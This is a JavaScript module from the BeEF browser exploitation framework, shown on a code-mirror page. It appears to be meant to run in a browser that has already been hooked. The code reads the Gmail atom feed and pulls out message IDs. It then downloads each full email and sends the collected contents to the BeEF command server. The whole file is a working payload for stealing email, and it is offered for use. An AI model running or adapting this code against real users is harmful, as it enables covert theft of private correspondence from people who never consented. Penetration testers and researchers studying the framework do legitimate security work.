Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/read_gmail/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn [email protected]
3
//
4
// Licensed under the Apache License, Version 2.0 (the "License");
5
// you may not use this file except in compliance with the License.
6
// You may obtain a copy of the License at
7
//
8
// http://www.apache.org/licenses/LICENSE-2.0
9
//
10
// Unless required by applicable law or agreed to in writing, software
11
// distributed under the License is distributed on an "AS IS" BASIS,
12
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
// See the License for the specific language governing permissions and
14
// limitations under the License.
15
//
16
beef.execute(function() {
17
var result;
18
19
try {
20
x = new XMLHttpRequest();
21
x.open('get', 'https://mail.google.com/mail/feed/atom', false);
22
x.send();
23
24
str = x.responseText; var re = /message_id=([A-Z,a-z,0-9]*)/g;
25
var match;
26
while(match = re.exec(str)) {
27
x = new XMLHttpRequest();
28
x.open('get', 'https://mail.google.com/mail/u/0/h/?&v=om&th='+match[1]+'&f=1&f=1', false);
29
x.send();
30
result += x.responseText;
31
}
32
33
} catch(e) {
34
for(var n in e)
35
result+= n + " " + e[n] + "\n";
36
}
37
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
38
});
39
40
41
42
43
44
45
46